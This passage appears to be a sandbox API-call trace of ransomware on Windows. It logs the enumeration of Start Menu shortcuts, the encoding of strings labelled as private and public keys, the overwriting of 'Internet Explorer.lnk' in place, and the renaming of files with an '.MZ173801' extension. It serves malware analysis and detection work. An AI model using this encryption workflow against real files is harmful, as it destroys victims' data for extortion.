cFileName="Narrator.lnk.MZ173801", cAlternateFileName="NARRAT~1.MZ1")) returned 1 [0192.032] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0192.032] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0192.032] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9c4c4d62, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="On-Screen Keyboard.lnk.MZ173801", cAlternateFileName="ON-SCR~1.MZ1")) returned 1 [0192.032] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0192.032] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0192.033] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9c4c4d62, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="On-Screen Keyboard.lnk.MZ173801", cAlternateFileName="ON-SCR~1.MZ1")) returned 0 [0192.033] GetLastError () returned 0x12 [0192.033] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0192.033] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0192.033] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0192.033] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0192.033] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0192.033] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0192.033] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0192.033] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0192.033] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0192.033] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccacd784, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x52d, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0192.033] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0192.033] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0192.033] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\internet explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccacd784, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x52d)) returned 1 [0192.034] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\internet explorer.lnk")) returned 0x20 [0192.034] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk", dwFileAttributes=0x80) returned 1 [0192.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0192.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0192.311] GetCurrentThreadId () returned 0xab4 [0192.311] GetCurrentThreadId () returned 0xab4 [0192.311] GetCurrentThreadId () returned 0xab4 [0192.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0192.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0192.313] GetCurrentThreadId () returned 0xab4 [0192.313] GetCurrentThreadId () returned 0xab4 [0192.313] GetCurrentThreadId () returned 0xab4 [0192.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\internet explorer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0192.313] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0192.313] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0192.313] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x52d [0192.313] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0192.314] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x52d, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x52d, lpOverlapped=0x0) returned 1 [0192.321] CloseHandle (hObject=0x330) returned 1 [0192.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\internet explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0192.504] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x52d, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x52d, lpOverlapped=0x0) returned 1 [0192.505] CloseHandle (hObject=0x330) returned 1 [0192.823] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\internet explorer.lnk"), 